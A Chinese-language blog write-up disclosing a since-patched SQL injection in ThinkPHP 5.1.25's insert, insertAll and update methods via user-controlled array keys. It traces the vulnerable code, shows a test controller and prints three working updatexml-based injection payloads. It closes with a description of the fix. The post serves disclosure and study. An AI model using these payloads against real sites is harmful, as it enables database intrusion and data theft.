[漏洞分析]thinkphp 5.1.25 insert、insetAll、update方法注入
0x00 前言
这个洞,早在9月29号的时候我提交给先知,那时候tp还是5.1.25的版本,天还很蓝,我也还很年轻。时至今日这个洞依旧没有审核,而tp在这期间都已经更新到了5.1.29。在最近我去跟踪的时候,发现这个洞在5.1.26版本被修复了。好吧,既然修复了,那就公开吧,我博客也好久没有漏洞类文章了。所以说做人还是不能太向钱,有漏洞为什么不直接提给厂商呢?为什么不公开呢?是贪婪让我变得面目全非XD。
事先说明,这个洞其实很鸡肋。
0x01 漏洞详情
版本:5.1.25
影响方法:insert、insetAll、update
条件:传入上面方法的参数数组,用户可控数组的键值(说到这里,了解tp的其实应该知道是什么原因了,就是sql语句中的字段名可控导致的注入),在实际利用的时候还要知道表的一个字段名。
thinkphp\libray\think\db\Builder.php parseData函数 直接看解析$data的代码
跟进parseKey函数,位置:thinkphp\library\think\db\builder\Mysql.php
注意到上面开启了严格模式,key不等于*,所以必然会在两边加上反引号。
回到parseData函数,继续往下走
为了让$item作为$result数组的key值返回,我们可以让传入的数组为一个二维数组,使用表达式方法INC或者DEC,
形如:
$data[key][0]='inc';
同时还需要让key中包含'.',否则有可能会抛出异常。
而这里的key就是在传入数据库中的字段位置,可以注入
同时为了$val[1]不报错我们需要传入$data[key][1]=1
嗯,大概分析到这里,有兴趣的去跟踪一下。
0x02 漏洞复现
添加如下代码至index controller中,分别对应三种方法
public function testsql() { $data = input('data'); var_dump($data); $result = db('user')->insert($data); //$result = db('user')->insertAll($data); //$result = db('user')->where('id',1)->update($data); }
为了方便,修改config/app.php,开启调试模式
'app_debug' => true
添加个数据库tptest,下面有一个表user
结构如下:
修改database.php,填写数据库信息:
下面是三种方法的payload,其中需要知道表中的一个字段,这里用的是id
insert 方法
payload:
data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1
insertAll 方法
因为insertAll 做了一层循环,所以需要传入一个三维数组。看到thinkphp\library\think\db\Builder.php insertAll()方法
payload:
data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1
update 方法
payload:
data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][0]=inc&data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][1]=1
0x03 漏洞修复
拉一个tp 5.1.26版本的下来,发现在parseKey方法中做了限制,位置:thinkphp\library\think\db\builder\Mysql.php
对key做了比较严格的验证,限制了可用字符。
0x04 总结
实际中,这种更新,插入的操作大多不可控key值,就算可控key值也比较集中在后台,所以比较鸡肋。
还有一篇也是跟tp有关的,待更新。